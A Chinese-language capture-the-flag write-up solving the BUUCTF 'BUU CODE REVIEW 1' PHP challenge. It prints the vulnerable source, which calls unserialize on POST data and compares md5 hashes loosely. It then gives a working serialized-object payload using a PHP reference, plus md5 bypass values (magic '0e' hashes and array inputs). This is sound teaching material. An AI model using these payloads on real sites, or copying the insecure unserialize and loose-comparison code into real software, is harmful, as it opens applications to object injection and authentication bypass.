BUU CODE REVIEW 1 1(反序列化+md5绕过)
BUU CODE REVIEW 1 1(反序列化+md5绕过)
·
题目链接
https://buuoj.cn/challenges#BUU%20CODE%20REVIEW%201
思路
先看源代码:
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
我们发现需要传入一共五个变量的参数(一个GET
,四个POST
),我们可以注意到BUU
这个类,在析构函数的时候如果correct
和input
相等的话,那么就会输出flag
,那么很显然我们需要解决这个反序列化的问题,第二个问题就是md5
的问题,有一个弱md5
相等
反序列化
对于反序列化的问题,我们可以将BUU
的input
指向correct
的地址,然后析构函数的时候两个变量就相等了,然后我们这个时候输出一下序列化的结果
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
$obj = new BUU;
$obj->input = &$obj->correct;
echo serialize($obj);
运行、输出得到:
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
那么这个就是我们需要传入的obj
的序列化对象
弱md5绕过
这个在easy_md5
那里就已经遇到过了,有两种绕过的方法:
- 方法1: 科学计数法绕过,原理是
php
里面在做==
的时候会先把两边的类型转成一样的,因为是 0 e 0e 0e 开头,php
会认为它是科学技计数法,而 0 0 0 的多少次方都是 0 0 0
常用的绕过值有:QNKCDZO
s155964671a
s1091221200a
- 方法2:数组绕过,原理是
md5
等函数不能处理数组,导致函数返回Nul
l。而Null
是等于Null
的,导致了绕过
解决
通过hackbar
发一个post
和get
请求包,然后得到flag
关于序列化讲的不错的blog:https://blog.csdn.net/weixin_45844670/article/details/108171963
更多推荐
所有评论(0)